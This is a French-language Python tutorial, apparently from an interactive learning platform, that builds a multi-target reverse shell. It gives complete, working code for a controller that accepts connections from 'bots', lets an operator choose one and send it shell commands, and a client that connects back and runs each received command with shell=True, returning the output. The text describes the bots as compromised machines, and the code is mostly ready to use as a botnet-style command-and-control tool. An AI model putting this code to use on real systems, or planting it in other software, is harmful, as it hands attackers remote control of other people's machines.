Reverse Shell pour le contrôle de cibles multiples

PythonBeginner
Pratiquer maintenant

Introduction

Dans ce projet, vous apprendrez à créer un reverse shell (shell inversé) en utilisant Python, ce qui permet de contrôler plusieurs machines compromises, également appelées « bots ». Contrairement aux shells traditionnels, un reverse shell initialise une connexion depuis le bot vers le contrôleur, permettant la gestion d'hôtes distants même derrière des pare-feu ou des dispositifs NAT. Cette méthode est largement utilisée en cybersécurité pour les tests d'intrusion et la gestion sécurisée d'environnements contrôlés.

Avant de passer à l'implémentation, il est important de comprendre les concepts fondamentaux de notre application de reverse shell, notamment l'architecture client-serveur (C/S) et le protocole TCP (Transmission Control Protocol).

L'architecture C/S implique un client qui demande des services et un serveur qui les fournit. Dans notre cas, les bots agissent comme des clients initiant des connexions vers notre serveur, nous permettant d'exécuter des commandes sur eux à distance.

Nous utiliserons TCP pour une communication fiable et orientée connexion entre le serveur et les clients. TCP garantit que les données sont livrées avec précision et dans l'ordre, ce qui est essentiel pour exécuter des commandes et recevoir des réponses sans erreurs.

👀 Aperçu

Exécution de commande via reverse shell

🎯 Tâches

Dans ce projet, vous apprendrez :

  • Comment comprendre l'architecture client-serveur (C/S) et le protocole TCP comme base des communications réseau.
  • Comment configurer un serveur qui écoute les connexions entrantes de plusieurs clients (bots).
  • Comment créer des scripts clients qui se connectent au serveur et exécutent les commandes reçues.
  • Comment implémenter l'exécution de commandes et la récupération de résultats sur le serveur pour interagir avec les clients connectés.
  • Comment gérer simultanément plusieurs connexions clients et basculer entre elles pour envoyer des commandes.

🏆 Objectifs pédagogiques

Après avoir terminé ce projet, vous serez capable de :

  • Démontrer votre maîtrise des bases du modèle client-serveur et de TCP pour une communication réseau fiable.
  • Implémenter un serveur de reverse shell multi-clients en Python.
  • Créer des scripts clients capables de se connecter à un serveur distant et d'exécuter des commandes envoyées par celui-ci.
  • Gérer plusieurs connexions et la communication avec plusieurs clients dans un environnement contrôlé.
  • Appliquer une expérience pratique en programmation réseau et comprendre ses applications en cybersécurité et en gestion de systèmes à distance.

Initialiser la classe Server

Dans le fichier nommé server.py, commencez par la structure de base de la classe Server.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

La classe Server est conçue pour créer un serveur capable de gérer plusieurs connexions clients, communément appelés « bots » dans le contexte d'une application de reverse shell. Décomposons les composants et les fonctionnalités définis dans la méthode d'initialisation (__init__) :

  1. Instructions d'importation :
    • import socket : Importe le module intégré socket de Python, qui fournit les fonctionnalités nécessaires aux communications réseau. Les sockets sont les points de terminaison d'un canal de communication bidirectionnel.
    • import threading : Importe le module threading, permettant la création de plusieurs fils d'exécution (threads) au sein d'un processus. C'est essentiel pour gérer simultanément plusieurs connexions clients sans bloquer le flux d'exécution principal du serveur.
  2. Définition de la classe :
    • class Server: : Cette ligne définit la classe Server, qui encapsule les fonctionnalités requises pour les opérations côté serveur du reverse shell.
  3. Méthode d'initialisation (__init__) :
    • def __init__(self, host='0.0.0.0', port=7676): : Cette méthode initialise une nouvelle instance de la classe Server. Elle possède deux paramètres avec des valeurs par défaut :
      • host='0.0.0.0' : L'adresse hôte par défaut '0.0.0.0' est utilisée pour spécifier que le serveur doit écouter sur toutes les interfaces réseau disponibles. Cela rend le serveur accessible depuis n'importe quelle adresse IP de la machine.
      • port=7676 : Il s'agit du numéro de port par défaut sur lequel le serveur écoutera les connexions entrantes. Le choix du port 7676 est arbitraire et peut être modifié selon les besoins.
  4. Variables d'instance :
    • self.host : Stocke l'adresse hôte d'écoute.
    • self.port : Stocke le numéro de port d'écoute.
    • self.clients = [] : Initialise une liste vide pour suivre les clients connectés. Chaque client sera ajouté à cette liste pour permettre une gestion multiple.
    • self.current_client = None : Variable utilisée pour suivre le client actuellement sélectionné pour l'envoi de commandes.
    • self.exit_flag = False : Ce drapeau contrôle la boucle principale du serveur. Le passer à True signalera au serveur de s'arrêter proprement.
    • self.lock = threading.Lock() : Crée un verrou (lock), une primitive de synchronisation. Les verrous garantissent qu'un seul thread accède aux ressources partagées à la fois, évitant les conditions de concurrence.

Démarrer le serveur TCP

Implémentez la méthode run pour démarrer le serveur et écouter les connexions.

## continue in server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

La méthode run est la partie de la classe Server qui lance le serveur TCP et commence à attendre les connexions entrantes des clients. Voici le détail du fonctionnement :

  1. Création d'un Socket :
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: : Crée un nouveau socket. socket.AF_INET spécifie l'adressage IPv4 et socket.SOCK_STREAM indique un socket TCP pour une communication fiable.
  2. Liaison du Socket (Binding) :
    • server_socket.bind((self.host, self.port)) : Associe le socket à l'interface réseau et au port spécifiés.
  3. Écoute des connexions :
    • server_socket.listen(10) : Indique au socket de commencer à écouter. L'argument 10 définit la taille maximale de la file d'attente des connexions en attente.
  4. Message de démarrage :
    • print(f"Server listening on port {self.port}...") : Affiche un message confirmant que le serveur est opérationnel.
  5. Gestion des connexions entrantes :
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)) : Initialise un nouveau thread pour exécuter la méthode wait_for_connections.
    • connection_thread.start() : Lance le thread, permettant au serveur d'accepter des connexions en arrière-plan sans bloquer le reste du programme.
  6. Boucle principale du serveur :
    • while not self.exit_flag: : Cette boucle s'exécute tant que le serveur ne doit pas s'arrêter.
    • if self.clients: : Si des clients sont connectés :
      • self.select_client() : Permet à l'opérateur de choisir un client avec lequel interagir.
      • self.handle_client() : Gère l'interaction (envoi de commandes et réception de réponses) avec le client sélectionné.

Cette structure permet au serveur de gérer plusieurs clients de manière non bloquante.

Accepter les connexions entrantes

Ajoutez la méthode wait_for_connections pour gérer les connexions clients entrantes sur un thread séparé.

## continue in server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

La méthode wait_for_connections est conçue pour écouter et accepter en continu les connexions entrantes. Voici les détails :

  1. Boucle d'écoute continue :
    • while not self.exit_flag: : La boucle tourne tant que le serveur est actif.
  2. Acceptation des connexions :
    • client_socket, client_address = server_socket.accept() : La méthode accept attend une connexion. Lorsqu'un client se connecte, elle renvoie un nouvel objet socket représentant la connexion et un tuple contenant l'adresse IP et le port du client. Cette ligne est bloquante jusqu'à ce qu'une connexion arrive.
  3. Notification de connexion :
    • print(f"New connection from {client_address[0]}") : Affiche l'IP du nouveau client connecté.
  4. Gestion sécurisée des clients (Thread-Safe) :
    • with self.lock: : Utilise le verrou pour garantir un accès sécurisé à la liste self.clients. C'est crucial dans un environnement multi-thread pour éviter la corruption des données.
    • self.clients.append((client_socket, client_address)) : Ajoute le socket et l'adresse du client à la liste de suivi.

Cette méthode permet au serveur de gérer l'arrivée de nouveaux clients tout en effectuant d'autres tâches simultanément.

Implémenter les fonctions d'interaction client

Implémentez les fonctions pour sélectionner et interagir avec les clients connectés.

## continue in server.py
    def select_client(self):
        print("Available clients:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Select a client by index: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Exiting server...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

Les fonctions select_client et handle_client sont essentielles pour interagir avec les cibles.

Fonction select_client

Cette fonction liste tous les clients connectés et permet à l'opérateur d'en choisir un :

  • Elle parcourt la liste self.clients et affiche l'index et l'adresse IP de chaque bot.
  • L'opérateur saisit l'index souhaité.
  • self.current_client est mis à jour avec le client choisi.

Fonction handle_client

Cette fonction facilite l'envoi de commandes et la réception de réponses :

  • Elle entre dans une boucle infinie pour permettre l'envoi successif de commandes.
  • !ch : Commande spéciale pour quitter l'interaction actuelle et changer de client.
  • !q : Commande spéciale pour arrêter complètement le serveur.
  • client_socket.send(...) : Envoie la commande encodée en octets (UTF-8) au client.
  • client_socket.recv(1024) : Attend la réponse du client (limité ici à 1024 octets).
  • La réponse est décodée et affichée dans la console du serveur.

Exécution du serveur

Ajoutez le point d'entrée pour instancier et lancer le serveur.

## continue in server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Cette partie du script démarre le serveur lorsque le fichier est exécuté directement.

Création du client

Ensuite, créons le côté client (bot). Le client se connectera au serveur et exécutera les commandes reçues.

Dans le fichier client.py, ajoutez le contenu suivant :

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

Le script client.py définit comment un bot se connecte au serveur :

  • sock.connect((host, port)) : Établit la connexion vers le serveur.
  • command = sock.recv(1024).decode('utf-8') : Attend de recevoir une commande.
  • subprocess.run(command, shell=True, ...) : Exécute la commande reçue sur le système local via le shell.
  • output = result.stdout.decode(...) : Récupère le résultat de l'exécution.
  • sock.send(output.encode('utf-8')) : Renvoie le résultat au serveur.
  • time.sleep(1) : Petite pause pour éviter de saturer les ressources.

Ce script transforme la machine sur laquelle il s'exécute en une cible contrôlable à distance.

Tester la configuration

Enfin, testons notre reverse shell pour nous assurer qu'il fonctionne comme prévu.

Lancement du serveur

Tout d'abord, exécutez le script server.py dans un terminal :

python server.py
Lancement du client

Ouvrez une deuxième fenêtre de terminal :

Ouverture d'un nouveau terminal

Exécutez le script client.py :

python client.py
Exécution de commandes

Revenez au terminal du serveur :

Terminal serveur avec sélection du client

Vous devriez pouvoir sélectionner le client connecté et exécuter des commandes. Par exemple, essayez de lister le contenu du répertoire racine :

ls /

Vous devriez voir le résultat de la commande ls / exécutée sur la machine client s'afficher dans le terminal du serveur.

Résultat de la commande ls sur le serveur

Résumé

Dans ce projet, vous avez appris à implémenter un reverse shell de base en Python, en exploitant l'architecture client-serveur et le protocole TCP pour la communication. Vous avez configuré un serveur capable d'écouter les connexions de plusieurs bots et de leur envoyer des commandes. Cette technique est une compétence fondamentale en programmation réseau et en cybersécurité, démontrant la puissance et la flexibilité de Python pour la gestion de systèmes à distance.

✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer